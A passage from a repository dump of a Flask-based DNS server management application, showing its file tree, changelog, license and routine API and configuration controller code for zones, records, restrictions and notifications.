├── .gitattributes
├── .gitignore
├── CHANGELOG.md
├── LICENSE
├── README.md
├── app
    ├── __init__.py
    ├── controllers
    │   ├── api
    │   │   ├── __init__.py
    │   │   ├── index.py
    │   │   ├── notifications.py
    │   │   ├── records.py
    │   │   ├── restrictions.py
    │   │   ├── search.py
    │   │   └── zones.py
    │   ├── auth.py
    │   ├── config
    │   │   ├── __init__.py
    │   │   ├── account
    │   │   │   ├── api.py
    │   │   │   └── profile.py
    │   │   ├── index.py
    │   │   └── system
    │   │   │   ├── dns.py
    │   │   │   ├── ldap.py
    │   │   │   ├── logs.py
    │   │   │   ├── password_complexity.py
    │   │   │   ├── radius.py
    │   │   │   ├── slack.py
    │   │   │   ├── smtp.py
    │   │   │   ├── system.py
    │   │   │   ├── teams.py
    │   │   │   ├── users.py
    │   │   │   └── webpush.py
    │   ├── dns
    │   │   ├── __init__.py
    │   │   ├── aliases.py
    │   │   ├── notifications.py
    │   │   ├── records.py
    │   │   ├── restrictions.py
    │   │   ├── tags.py
    │   │   ├── upload.py
    │   │   └── zones.py
    │   ├── home.py
    │   ├── install.py
    │   ├── logs.py
    │   └── notifications.py
    ├── lib
    │   ├── api
    │   │   ├── auth.py
    │   │   ├── base.py
    │   │   ├── definitions
    │   │   │   ├── notification_subscription.py
    │   │   │   ├── notification_type.py
    │   │   │   ├── record.py
    │   │   │   ├── response.py
    │   │   │   ├── restriction.py
    │   │   │   ├── search.py
    │   │   │   ├── search_result.py
    │   │   │   └── zone.py
    │   │   ├── instances
    │   │   │   └── apikey.py
    │   │   ├── manager.py
    │   │   ├── notifications.py
    │   │   ├── records.py
    │   │   ├── restrictions.py
    │   │   ├── search.py
    │   │   ├── swagger
    │   │   │   └── v1.yaml
    │   │   └── zones.py
    │   ├── base
    │   │   ├── cron.py
    │   │   ├── decorators.py
    │   │   ├── email.py
    │   │   ├── environment.py
    │   │   ├── instance
    │   │   │   └── base_instance.py
    │   │   ├── password_complexity.py
    │   │   ├── provider.py
    │   │   ├── settings.py
    │   │   ├── shell.py
    │   │   └── system.py
    │   ├── cli
    │   │   ├── cron.py
    │   │   ├── env.py
    │   │   ├── records.py
    │   │   ├── restrictions.py
    │   │   ├── settings.py
    │   │   ├── snitch_daemon.py
    │   │   ├── snitchdb.py
    │   │   ├── users.py
    │   │   └── zones.py
    │   ├── daemon
    │   │   ├── cli.py
    │   │   ├── daemon.py
    │   │   ├── manager.py
    │   │   └── server
    │   │   │   ├── cache.py
    │   │   │   ├── factory.py
    │   │   │   ├── logging.py
    │   │   │   └── resolver.py
    │   ├── database
    │   │   ├── seed.py
    │   │   └── upgrades
    │   │   │   └── migration_v1_1_0.py
    │   ├── dns
    │   │   ├── alias_manager.py
    │   │   ├── collections
    │   │   │   └── restrictions.py
    │   │   ├── helpers
    │   │   │   └── shared.py
    │   │   ├── import_manager.py
    │   │   ├── instances
    │   │   │   ├── alias.py
    │   │   │   ├── query_log.py
    │   │   │   ├── record.py
    │   │   │   ├── restriction.py
    │   │   │   ├── search_params.py
    │   │   │   ├── tag.py
    │   │   │   ├── zone.py
    │   │   │   └── zone_tag.py
    │   │   ├── log_manager.py
    │   │   ├── manager.py
    │   │   ├── record_manager.py
    │   │   ├── records
    │   │   │   ├── record_caa.py
    │   │   │   └── record_snitch.py
    │   │   ├── restriction_manager.py
    │   │   ├── search_manager.py
    │   │   ├── tag_manager.py
    │   │   └── zone_manager.py
    │   ├── log
    │   │   ├── instances
    │   │   │   └── log_error.py
    │   │   └── manager.py
    │   ├── models
    │   │   ├── aliases.py
    │   │   ├── api.py
    │   │   ├── config.py
    │   │   ├── dns.py
    │   │   ├── logging.py
    │   │   ├── notifications.py
    │   │   ├── tags.py
    │   │   └── user.py
    │   ├── notifications
    │   │   ├── instances
    │   │   │   ├── notification_log.py
    │   │   │   ├── notification_subscription.py
    │   │   │   ├── notification_type.py
    │   │   │   ├── subscriptions.py
    │   │   │   └── webpush_subscription.py
    │   │   ├── manager.py
    │   │   ├── managers
    │   │   │   ├── log_manager.py
    │   │   │   ├── provider_manager.py
    │   │   │   ├── subscription_manager.py
    │   │   │   ├── type_manager.py
    │   │   │   └── webpush_manager.py
    │   │   └── providers
    │   │   │   ├── base.py
    │   │   │   ├── email.py
    │   │   │   ├── slack.py
    │   │   │   ├── teams.py
    │   │   │   └── webpush.py
    │   └── users
    │   │   ├── auth
    │   │       ├── ldap.py
    │   │       ├── radius.dict
    │   │       └── radius.py
    │   │   ├── instances
    │   │       └── authtype.py
    │   │   └── user_manager.py
    ├── static
    │   ├── css
    │   │   ├── lib
    │   │   │   ├── select2.css
    │   │   │   └── tempusdominus-bootstrap-4.css
    │   │   ├── snitch.css
    │   │   └── themes
    │   │   │   ├── darkly.css
    │   │   │   └── slate.css
    │   ├── fontawesome
    │   │   ├── css
    │   │   │   └── all.css
    │   │   ├── js
    │   │   │   └── all.js
    │   │   └── webfonts
    │   │   │   ├── fa-brands-400.eot
    │   │   │   ├── fa-brands-400.svg
    │   │   │   ├── fa-brands-400.ttf
    │   │   │   ├── fa-brands-400.woff
    │   │   │   ├── fa-brands-400.woff2
    │   │   │   ├── fa-regular-400.eot
    │   │   │   ├── fa-regular-400.svg
    │   │   │   ├── fa-regular-400.ttf
    │   │   │   ├── fa-regular-400.woff
    │   │   │   ├── fa-regular-400.woff2
    │   │   │   ├── fa-solid-900.eot
    │   │   │   ├── fa-solid-900.svg
    │   │   │   ├── fa-solid-900.ttf
    │   │   │   ├── fa-solid-900.woff
    │   │   │   └── fa-solid-900.woff2
    │   ├── images
    │   │   ├── favicon.png
    │   │   ├── freepik_rat.png
    │   │   └── freepik_rat2.png
    │   └── js
    │   │   ├── lib
    │   │       ├── bootstrap.js
    │   │       ├── clipboard.js
    │   │       ├── jquery-qrcode.js
    │   │       ├── jquery.js
    │   │       ├── jquery.validate.js
    │   │       ├── moment.js
    │   │       ├── popper.js
    │   │       ├── select2.full.js
    │   │       └── tempusdominus-bootstrap-4.js
    │   │   ├── snitch
    │   │       ├── email_recipients.js
    │   │       ├── records.js
    │   │       ├── snitch.js
    │   │       └── update.js
    │   │   └── webpush
    │   │       ├── main.js
    │   │       ├── sw.js
    │   │       └── vapid.generate.js
    ├── templates
    │   ├── auth
    │   │   ├── ldap_password.html
    │   │   ├── login.html
    │   │   └── login_2fa.html
    │   ├── config
    │   │   ├── account
    │   │   │   ├── api.html
    │   │   │   └── profile
    │   │   │   │   ├── 2fa.html
    │   │   │   │   └── general.html
    │   │   ├── includes
    │   │   │   └── sidebar.html
    │   │   └── system
    │   │   │   ├── dns.html
    │   │   │   ├── ldap.html
    │   │   │   ├── logs
    │   │   │       └── errors.html
    │   │   │   ├── password_complexity.html
    │   │   │   ├── radius.html
    │   │   │   ├── slack.html
    │   │   │   ├── smtp.html
    │   │   │   ├── system.html
    │   │   │   ├── teams.html
    │   │   │   ├── users
    │   │   │       ├── edit.html
    │   │   │       └── index.html
    │   │   │   └── webpush.html
    │   ├── dns
    │   │   ├── aliases
    │   │   │   ├── edit.html
    │   │   │   └── index.html
    │   │   ├── conditions
    │   │   │   └── edit.html
    │   │   ├── import
    │   │   │   ├── index.html
    │   │   │   └── review.html
    │   │   ├── includes
    │   │   │   ├── base.html
    │   │   │   └── sidebar.html
    │   │   ├── notifications
    │   │   │   ├── settings
    │   │   │   │   ├── email.html
    │   │   │   │   ├── slack.html
    │   │   │   │   └── teams.html
    │   │   │   └── view.html
    │   │   ├── records
    │   │   │   ├── edit.html
    │   │   │   └── view.html
    │   │   ├── restrictions
    │   │   │   ├── edit.html
    │   │   │   └── view.html
    │   │   ├── tags
    │   │   │   ├── edit.html
    │   │   │   └── index.html
    │   │   └── zones
    │   │   │   ├── edit.html
    │   │   │   ├── index.html
    │   │   │   └── view.html
    │   ├── errors
    │   │   ├── 404.html
    │   │   └── 500.html
    │   ├── home
    │   │   └── index.html
    │   ├── install
    │   │   └── index.html
    │   ├── layout
    │   │   ├── addons.html
    │   │   ├── base.html
    │   │   ├── footer.html
    │   │   ├── head.html
    │   │   ├── macros.html
    │   │   ├── notifications.html
    │   │   ├── topmenu.html
    │   │   └── webpush.html
    │   └── logs
    │   │   ├── index.html
    │   │   └── results.html
    └── version.py
├── data
    └── .gitkeep
├── docs
    ├── general
    │   ├── index.md
    │   ├── screenshots.md
    │   └── use_cases.md
    ├── images
    │   ├── icon32.png
    │   ├── icon64.png
    │   └── screenshots
    │   │   ├── dns-records.png
    │   │   ├── domains.png
    │   │   ├── ip-restrictions.png
    │   │   ├── logs.png
    │   │   ├── notifications.png
    │   │   ├── settings.png
    │   │   └── terminal-query.png
    └── setup
    │   ├── ansible.md
    │   ├── docker.md
    │   ├── manual.md
    │   └── update.md
├── requirements.txt
├── scripts
    ├── README.md
    ├── convert.ps1
    ├── convert.sh
    ├── egress.ps1
    └── egress.sh
├── setup
    ├── ansible
    │   ├── roles
    │   │   ├── dbms
    │   │   │   └── tasks
    │   │   │   │   ├── main.yml
    │   │   │   │   ├── mysql
    │   │   │   │       └── main.yml
    │   │   │   │   ├── postgres
    │   │   │   │       └── main.yml
    │   │   │   │   └── sqlite
    │   │   │   │       └── main.yml
    │   │   ├── iptables
    │   │   │   └── tasks
    │   │   │   │   └── main.yml
    │   │   ├── prerequisites
    │   │   │   └── tasks
    │   │   │   │   ├── main.yml
    │   │   │   │   ├── system
    │   │   │   │       └── version.yml
    │   │   │   │   └── ubuntu
    │   │   │   │       └── main.yml
    │   │   ├── service
    │   │   │   ├── tasks
    │   │   │   │   ├── main.yml
    │   │   │   │   └── systemd
    │   │   │   │   │   └── ubuntu.yml
    │   │   │   └── templates
    │   │   │   │   └── systemd.j2
    │   │   ├── snitch
    │   │   │   ├── tasks
    │   │   │   │   └── main.yml
    │   │   │   └── templates
    │   │   │   │   └── env.conf.j2
    │   │   └── webserver
    │   │   │   ├── tasks
    │   │   │       ├── apache
    │   │   │       │   ├── server.yml
    │   │   │       │   └── ubuntu
    │   │   │       │   │   └── main.yml
    │   │   │       ├── main.yml
    │   │   │       ├── nginx
    │   │   │       │   ├── server.yml
    │   │   │       │   └── ubuntu
    │   │   │       │   │   └── main.yml
    │   │   │       └── ssl
    │   │   │       │   └── certificates.yml
    │   │   │   └── templates
    │   │   │       ├── apache
    │   │   │           └── ubuntu.vhost.conf.j2
    │   │   │       └── nginx
    │   │   │           └── ubuntu.vhost.conf.j2
    │   ├── snitch.yml
    │   └── vars.yml.template
    └── docker
    │   ├── Dockerfile
    │   └── entrypoint.sh
├── venv.sh
└── wsgi.py


/.gitattributes:
--------------------------------------------------------------------------------
1 | app/static/css/lib/* linguist-vendored
2 | app/static/css/themes/* linguist-vendored
3 | app/static/fontawesome/* linguist-vendored
4 | app/static/js/lib/* linguist-vendored


--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
 1 | venv/
 2 | 
 3 | *.pyc
 4 | __pycache__/
 5 | 
 6 | .pytest_cache/
 7 | .coverage
 8 | htmlcov/
 9 | 
10 | dist/
11 | build/
12 | *.egg-info/
13 | 
14 | .idea/
15 | migrations/
16 | 
17 | data/*
18 | !data/.gitkeep
19 | 
20 | setup/ansible/vars.yml
21 | 
22 | .env


--------------------------------------------------------------------------------
/CHANGELOG.md:
--------------------------------------------------------------------------------
 1 | # Changelog
 2 | 
 3 | ## v1.1.7
 4 | 
 5 | * `[New]` Implement option to delete logs after X amount of days.
 6 | 
 7 | ## v1.1.6
 8 | 
 9 | * `[Fix]` Fix CNAME responses.
10 | * `[Fix]` Added `markupsafe==2.0.1` in requirements as v2.1.0 has removed `soft_unicode`.
11 | 
12 | ## v1.1.5
13 | 
14 | * `[New]` Added 'restart daemon' button in system settings.
15 | * `[New]` Added functionality to set the forwarding DNS' port as well as the IP.
16 | * `[New]` Added an option to clear the DNS cache when it hits the max limit set by the admin.
17 | * `[Update]` Update jQuery to v3.6.0, and jQuery Validate to v1.19.3.
18 | * `[Fix]` Removed requirement for SMTP User/Pass to be entered, in case the server runs on localhost.
19 | 
20 | ## v1.1.4
21 | 
22 | * `[Fix]` Fix issue in API when creating and updating records without defining conditional data.
23 | 
24 | ## v1.1.3
25 | 
26 | * `[Fix]` Fix issue when auto-creating zone from a log entry.
27 | 
28 | ## v1.1.2
29 | 
30 | * `[New]` Implement support DNS Cache.
31 | * `[New]` Implement support for CAA records.
32 | * `[Fix]` Return SOA responses the right way.
33 | * `[Fix]` Fix issue to match domains regardless of upper/lower case formats.
34 | 
35 | ## v1.1.1
36 | 
37 | * `[Fix]` Fix RADIUS password encoding from `ascii` to `utf8`.
38 | 
39 | ## v1.1.0
40 | 
41 | * `[New]` Implement RADIUS authentication.
42 | * `[New]` Implement Regular Expression matching for zones.
43 | * `[New]` Optional functionality to change user password on Active Directory via LDAP.
44 | * `[Fix]` Update password complexity checks to accept non-7-bit ASCII.
45 | * `[Fix]` Fix 2FA secrets 160-bit key issue.
46 | * `[Fix]` Fix issue with LDAP password change for users that have never logged in before.
47 | 


--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
 1 | MIT License
 2 | 
 3 | Copyright (c) 2020 Pavel Tsakalidis, Context Information Security - part of Accenture Security
 4 | 
 5 | Permission is hereby granted, free of charge, to any person obtaining a copy
 6 | of this software and associated documentation files (the "Software"), to deal
 7 | in the Software without restriction, including without limitation the rights
 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 | 
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 | 
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.


--------------------------------------------------------------------------------
/app/controllers/api/__init__.py:
--------------------------------------------------------------------------------
1 | from flask import Blueprint
2 | 
3 | bp = Blueprint('api', __name__, url_prefix='/api/v1')
4 | 
5 | from . import index
6 | from . import zones, records, search, notifications, restrictions
7 | 


--------------------------------------------------------------------------------
/app/controllers/api/index.py:
--------------------------------------------------------------------------------
 1 | from . import bp
 2 | from flask import redirect, url_for, Response
 3 | from flask_login import login_required
 4 | from app.lib.api.base import ApiBase
 5 | 
 6 | 
 7 | @bp.route('/', methods=['GET'])
 8 | @login_required
 9 | def index():
10 |     return redirect(url_for('api.swagger'))
11 | 
12 | 
13 | @bp.route('/swagger.yaml', methods=['GET'])
14 | @login_required
15 | def swagger():
16 |     base = ApiBase()
17 |     contents = base.get_swagger_file('v1')
18 | 
19 |     response = Response(mimetype='text/plain')
20 |     response.data = contents
21 |     return response
22 | 


--------------------------------------------------------------------------------
/app/controllers/api/notifications.py:
--------------------------------------------------------------------------------
 1 | from . import bp
 2 | from app.lib.base.decorators import api_auth
 3 | from app.lib.api.notifications import ApiNotifications
 4 | from flask_login import current_user
 5 | 
 6 | 
 7 | @bp.route('/notifications/providers', methods=['GET'])
 8 | @api_auth
 9 | def notification_providers():
10 |     return ApiNotifications().providers()
11 | 
12 | 
13 | @bp.route('/zones/<string:zone>/notifications', methods=['GET'])
14 | @api_auth
15 | def zone_notifications(zone):
16 |     user_id = None if current_user.admin else current_user.id
17 | 
18 |     domain = None
19 |     zone_id = None
20 |     if zone.isdigit():
21 |         zone_id = int(zone)
22 |     else:
23 |         domain = zone
24 | 
25 |     return ApiNotifications().all(user_id, zone_id=zone_id, domain=domain)
26 | 
27 | 
28 | @bp.route('/zones/<string:zone>/notifications/<string:type>', methods=['GET'])
29 | @api_auth
30 | def zone_notifications_get(zone, type):
31 |     user_id = None if current_user.admin else current_user.id
32 | 
33 |     domain = None
34 |     zone_id = None
35 |     if zone.isdigit():
36 |         zone_id = int(zone)
37 |     else:
38 |         domain = zone
39 | 
40 |     return ApiNotifications().get(user_id, type, zone_id=zone_id, domain=domain)
41 | 
42 | 
43 | @bp.route('/zones/<string:zone>/notifications/<string:type>', methods=['POST'])
44 | @api_auth
45 | def zone_notifications_update(zone, type):
46 |     user_id = None if current_user.admin else current_user.id
47 | 
48 |     domain = None
49 |     zone_id = None
50 |     if zone.isdigit():
51 |         zone_id = int(zone)
52 |     else:
53 |         domain = zone
54 | 
55 |     return ApiNotifications().update(user_id, type, zone_id=zone_id, domain=domain)
56 | 


--------------------------------------------------------------------------------
/app/controllers/api/records.py:
--------------------------------------------------------------------------------
 1 | from . import bp
 2 | from app.lib.base.decorators import api_auth
 3 | from app.lib.api.records import ApiRecords
 4 | from flask_login import current_user
 5 | 
 6 | 
 7 | @bp.route('/zones/<string:zone>/records', methods=['GET'])
 8 | @api_auth
 9 | def zone_records(zone):
10 |     user_id = None if current_user.admin else current_user.id
11 | 
12 |     domain = None
13 |     zone_id = None
14 |     if zone.isdigit():
15 |         zone_id = int(zone)
16 |     else:
17 |         domain = zone
18 | 
19 |     return ApiRecords().all(user_id, zone_id=zone_id, domain=domain)
20 | 
21 | 
22 | @bp.route('/zones/<string:zone>/records', methods=['POST'])
23 | @api_auth
24 | def zone_records_create(zone):
25 |     domain = None
26 |     zone_id = None
27 |     if zone.isdigit():
28 |         zone_id = int(zone)
29 |     else:
30 |         domain = zone
31 | 
32 |     return ApiRecords().create(current_user.id, zone_id=zone_id, domain=domain)
33 | 
34 | 
35 | @bp.route('/zones/<string:zone>/records/<int:id>', methods=['GET'])
36 | @api_auth
37 | def zone_record_by_id(zone, id):
38 |     user_id = None if current_user.admin else current_user.id
39 | 
40 |     domain = None
41 |     zone_id = None
42 |     if zone.isdigit():
43 |         zone_id = int(zone)
44 |     else:
45 |         domain = zone
46 | 
47 |     return ApiRecords().one(user_id, id, zone_id=zone_id, domain=domain)
48 | 
49 | 
50 | @bp.route('/zones/<string:zone>/records/<int:id>', methods=['POST'])
51 | @api_auth
52 | def zone_records_update(zone, id):
53 |     user_id = None if current_user.admin else current_user.id
54 | 
55 |     domain = None
56 |     zone_id = None
57 |     if zone.isdigit():
58 |         zone_id = int(zone)
59 |     else:
60 |         domain = zone
61 | 
62 |     return ApiRecords().update(user_id, id, zone_id=zone_id, domain=domain)
63 | 
64 | 
65 | @bp.route('/zones/<string:zone>/records/<int:id>', methods=['DELETE'])
66 | @api_auth
67 | def zone_record_delete(zone, id):
68 |     user_id = None if current_user.admin else current_user.id
69 | 
70 |     domain = None
71 |     zone_id = None
72 |     if zone.isdigit():
73 |         zone_id = int(zone)
74 |     else:
75 |         domain = zone
76 | 
77 |     return ApiRecords().delete(user_id, id, zone_id=zone_id, domain=domain)
78 | 
79 | 
80 | @bp.route('/records/classes', methods=['GET'])
81 | @api_auth
82 | def record_classes():
83 |     return ApiRecords().classes()
84 | 
85 | 
86 | @bp.route('/records/types', methods=['GET'])
87 | @api_auth
88 | def record_types():
89 |     return ApiRecords().types()
90 | 


--------------------------------------------------------------------------------
/app/controllers/api/restrictions.py:
--------------------------------------------------------------------------------
 1 | from . import bp
 2 | from app.lib.base.decorators import api_auth
 3 | from app.lib.api.restrictions import ApiRestrictions
 4 | from flask_login import current_user
 5 | 
 6 | 
 7 | @bp.route('/zones/<string:zone>/restrictions', methods=['GET'])
 8 | @api_auth
 9 | def zone_restrictions(zone):
10 |     user_id = None if current_user.admin else current_user.id
11 | 
12 |     domain = None
13 |     zone_id = None
14 |     if zone.isdigit():
15 |         zone_id = int(zone)
16 |     else:
17 |         domain = zone
18 | 
19 |     return ApiRestrictions().all(user_id, zone_id=zone_id, domain=domain)
20 | 
21 | 
22 | @bp.route('/zones/<string:zone>/restrictions', methods=['POST'])
23 | @api_auth
24 | def zone_restriction_add(zone):
25 |     user_id = None if current_user.admin else current_user.id
26 | 
27 |     domain = None
28 |     zone_id = None
29 |     if zone.isdigit():
30 |         zone_id = int(zone)
31 |     else:
32 |         domain = zone
33 | 
34 |     return ApiRestrictions().create(user_id, zone_id=zone_id, domain=domain)
35 | 
36 | 
37 | @bp.route('/zones/<string:zone>/restrictions/<int:id>', methods=['GET'])
38 | @api_auth
39 | def zone_restriction_get(zone, id):
40 |     user_id = None if current_user.admin else current_user.id
41 | 
42 |     domain = None
43 |     zone_id = None
44 |     if zone.isdigit():
45 |         zone_id = int(zone)
46 |     else:
47 |         domain = zone
48 | 
49 |     return ApiRestrictions().one(user_id, id, zone_id=zone_id, domain=domain)
50 | 
51 | 
52 | @bp.route('/zones/<string:zone>/restrictions/<int:id>', methods=['POST'])
53 | @api_auth
54 | def zone_restriction_update(zone, id):
55 |     user_id = None if current_user.admin else current_user.id
56 | 
57 |     domain = None
58 |     zone_id = None
59 |     if zone.isdigit():
60 |         zone_id = int(zone)
61 |     else:
62 |         domain = zone
63 | 
64 |     return ApiRestrictions().update(user_id, id, zone_id=zone_id, domain=domain)
65 | 
66 | 
67 | @bp.route('/zones/<string:zone>/restrictions/<int:id>', methods=['DELETE'])
68 | @api_auth
69 | def zone_restriction_delete(zone, id):
70 |     user_id = None if current_user.admin else current_user.id
71 | 
72 |     domain = None
73 |     zone_id = None
74 |     if zone.isdigit():
75 |         zone_id = int(zone)
76 |     else:
77 |         domain = zone
78 | 
79 |     return ApiRestrictions().delete(user_id, id, zone_id=zone_id, domain=domain)
80 | 


--------------------------------------------------------------------------------
/app/controllers/api/search.py:
--------------------------------------------------------------------------------
 1 | from . import bp
 2 | from app.lib.base.decorators import api_auth
 3 | from app.lib.api.search import ApiSearch
 4 | from flask_login import current_user
 5 | 
 6 | 
 7 | @bp.route('/search', methods=['GET'])
 8 | @api_auth
 9 | def search():
10 |     return ApiSearch().search()
11 | 


--------------------------------------------------------------------------------
/app/controllers/api/zones.py:
--------------------------------------------------------------------------------
 1 | from . import bp
 2 | from app.lib.base.decorators import api_auth
 3 | from app.lib.api.zones import ApiZones
 4 | from flask_login import current_user
 5 | 
 6 | 
 7 | @bp.route('/zones', methods=['GET'])
 8 | @api_auth
 9 | def zones():
10 |     user_id = None if current_user.admin else current_user.id
11 |     return ApiZones().all(user_id)
12 | 
13 | 
14 | @bp.route('/zones', methods=['POST'])
15 | @api_auth
16 | def zones_create():
17 |     return ApiZones().create(current_user.id)
18 | 
19 | 
20 | @bp.route('/zones/<string:zone>', methods=['POST'])
21 | @api_auth
22 | def zones_update(zone):
23 |     user_id = None if current_user.admin else current_user.id
24 | 
25 |     domain = None
26 |     zone_id = None
27 |     if zone.isdigit():
28 |         zone_id = int(zone)
29 |     else:
30 |         domain = zone
31 | 
32 |     return ApiZones().update(user_id, zone_id=zone_id, domain=domain)
33 | 
34 | 
35 | @bp.route('/zones/<string:zone>', methods=['GET'])
36 | @api_auth
37 | def zone_get_one(zone):
38 |     user_id = None if current_user.admin else current_user.id
39 | 
40 |     domain = None
41 |     zone_id = None
42 |     if zone.isdigit():
43 |         zone_id = int(zone)
44 |     else:
45 |         domain = zone
46 | 
47 |     return ApiZones().one(user_id, zone_id=zone_id, domain=domain)
48 | 
49 | 
50 | @bp.route('/zones/<string:zone>', methods=['DELETE'])
51 | @api_auth
52 | def zone_delete(zone):
53 |     user_id = None if current_user.admin else current_user.id
54 | 
55 |     domain = None
56 |     zone_id = None
57 |     if zone.isdigit():
58 |         zone_id = int(zone)
59 |     else:
60 |         domain = zone
61 | 
62 |     return ApiZones().delete(user_id, zone_id=zone_id, domain=domain)
63 | 


--------------------------------------------------------------------------------
/app/controllers/config/__init__.py:
--------------------------------------------------------------------------------
1 | from flask import Blueprint
2 | 
3 | bp = Blueprint('config', __name__, url_prefix='/config')
4 | 
5 | from . import index
6 | from .system import dns, ldap, password_complexity, smtp, system, users, webpush, slack, logs, teams, radius
7 | from .account import profile, api
8 | 


--------------------------------------------------------------------------------
/app/controllers/config/account/api.py:
--------------------------------------------------------------------------------
 1 | from .. import bp
 2 | from flask import request, render_template, flash, redirect, url_for
 3 | from flask_login import current_user, login_required
 4 | from app.lib.base.provider import Provider
 5 | 
 6 | 
 7 | @bp.route('/api', methods=['GET'])
 8 | @login_required
 9 | def api():
10 |     provider = Provider()
11 |     api = provider.api()
12 | 
13 |     return render_template(
14 |         'config/account/api.html',
15 |         keys=api.all(current_user.id)
16 |     )
17 | 
18 | 
19 | @bp.route('/api/action/<string:action>', methods=['POST'])
20 | @bp.route('/api/action/<string:action>/<int:id>', methods=['POST'])
21 | @login_required
22 | def api_action(action, id=0):
23 |     if action == 'add':
24 |         return __create_apikey()
25 |     elif action == 'delete':
26 |         return __delete_apikey(id)
27 |     elif action == 'toggle':
28 |         return __toggle_apikey(id)
29 | 
30 |     flash('Unknown action', 'error')
31 |     return redirect(url_for('config.api'))
32 | 
33 | 
34 | def __create_apikey():
35 |     provider = Provider()
36 |     api = provider.api()
37 | 
38 |     name = request.form['name'].strip()
39 |     if len(name) == 0:
40 |         flash('Please enter your key description', 'error')
41 |         return redirect(url_for('config.api'))
42 | 
43 |     if not api.add(current_user.id, name):
44 |         flash('Could not create API key', 'error')
45 |         return redirect(url_for('config.api'))
46 | 
47 |     flash('API Key created', 'success')
48 |     return redirect(url_for('config.api'))
49 | 
50 | 
51 | def __delete_apikey(id):
52 |     provider = Provider()
53 |     api = provider.api()
54 | 
55 |     if not api.can_access(id, current_user.id):
56 |         flash('Access Denied', 'error')
57 |         return redirect(url_for('config.api'))
58 | 
59 |     if not api.delete(id):
60 |         flash('Could not delete key', 'error')
61 |         return redirect(url_for('config.api'))
62 | 
63 |     flash('API Key deleted', 'success')
64 |     return redirect(url_for('config.api'))
65 | 
66 | 
67 | def __toggle_apikey(id):
68 |     provider = Provider()
69 |     api = provider.api()
70 | 
71 |     if not api.can_access(id, current_user.id):
72 |         flash('Access Denied', 'error')
73 |         return redirect(url_for('config.api'))
74 | 
75 |     key = api.get(id)
76 |     if not key:
77 |         flash('Could not retrieve key', 'error')
78 |         return redirect(url_for('config.api'))
79 | 
80 |     key.enabled = not key.enabled
81 |     key.save()
82 | 
83 |     flash('API Key status updated', 'success')
84 |     return redirect(url_for('config.api'))
85 | 


--------------------------------------------------------------------------------
/app/controllers/config/index.py:
--------------------------------------------------------------------------------
 1 | from . import bp
 2 | from flask_login import login_required, current_user
 3 | from flask import redirect, url_for
 4 | 
 5 | 
 6 | @bp.route('/', methods=['GET'])
 7 | @login_required
 8 | def index():
 9 |     if current_user.admin:
10 |         return redirect(url_for('config.system'))
11 |     else:
12 |         return redirect(url_for('config.profile'))
13 | 


--------------------------------------------------------------------------------
/app/controllers/config/system/logs.py:
--------------------------------------------------------------------------------
 1 | from .. import bp
 2 | from flask import request, render_template, flash, redirect, url_for
 3 | from flask_login import current_user, login_required
 4 | from app.lib.base.provider import Provider
 5 | from app.lib.base.decorators import admin_required
 6 | 
 7 | 
 8 | @bp.route('/logs/errors', methods=['GET'])
 9 | @login_required
10 | @admin_required
11 | def logs_errors():
12 |     provider = Provider()
13 |     logging = provider.logging()
14 | 
15 |     default_per_page = 20
16 | 
17 |     page = request.args.get('page', 1)
18 |     per_page = request.args.get('per_page', default_per_page)
19 | 
20 |     if isinstance(page, str):
21 |         page = int(page) if page.isdigit() else 1
22 |     if isinstance(per_page, str):
23 |         per_page = int(per_page) if per_page.isdigit() else 1
24 | 
25 |     if page <= 0:
26 |         page = 1
27 | 
28 |     if per_page <= 0:
29 |         per_page = default_per_page
30 | 
31 |     return render_template(
32 |         'config/system/logs/errors.html',
33 |         results=logging.view_errors(page, per_page)
34 |     )
35 | 


--------------------------------------------------------------------------------
/app/controllers/config/system/password_complexity.py:
--------------------------------------------------------------------------------
 1 | from .. import bp
 2 | from flask import request, render_template, flash, redirect, url_for
 3 | from flask_login import current_user, login_required
 4 | from app.lib.base.provider import Provider
 5 | from app.lib.base.decorators import admin_required
 6 | 
 7 | 
 8 | @bp.route('/password/complexity', methods=['GET'])
 9 | @login_required
10 | @admin_required
11 | def password_complexity():
12 |     return render_template('config/system/password_complexity.html')
13 | 
14 | 
15 | @bp.route('/password/complexity/save', methods=['POST'])
16 | @login_required
17 | @admin_required
18 | def password_complexity_save():
19 |     provider = Provider()
20 |     settings = provider.settings()
21 | 
22 |     pwd_min_length = int(request.form['pwd_min_length'].strip())
23 |     pwd_min_lower = int(request.form['pwd_min_lower'].strip())
24 |     pwd_min_upper = int(request.form['pwd_min_upper'].strip())
25 |     pwd_min_digits = int(request.form['pwd_min_digits'].strip())
26 |     pwd_min_special = int(request.form['pwd_min_special'].strip())
27 | 
28 |     settings.save('pwd_min_length', pwd_min_length)
29 |     settings.save('pwd_min_lower', pwd_min_lower)
30 |     settings.save('pwd_min_upper', pwd_min_upper)
31 |     settings.save('pwd_min_digits', pwd_min_digits)
32 |     settings.save('pwd_min_special', pwd_min_special)
33 | 
34 |     flash('Settings saved', 'success')
35 |     return redirect(url_for('config.password_complexity'))
36 | 


--------------------------------------------------------------------------------
/app/controllers/config/system/radius.py:
--------------------------------------------------------------------------------
 1 | from .. import bp
 2 | from flask import request, render_template, flash, redirect, url_for
 3 | from flask_login import current_user, login_required
 4 | from app.lib.base.provider import Provider
 5 | from app.lib.base.decorators import admin_required
 6 | 
 7 | 
 8 | @bp.route('/radius', methods=['GET'])
 9 | @login_required
10 | @admin_required
11 | def radius():
12 |     return render_template('config/system/radius.html')
13 | 
14 | 
15 | @bp.route('/radius/save', methods=['POST'])
16 | @login_required
17 | @admin_required
18 | def radius_save():
19 |     provider = Provider()
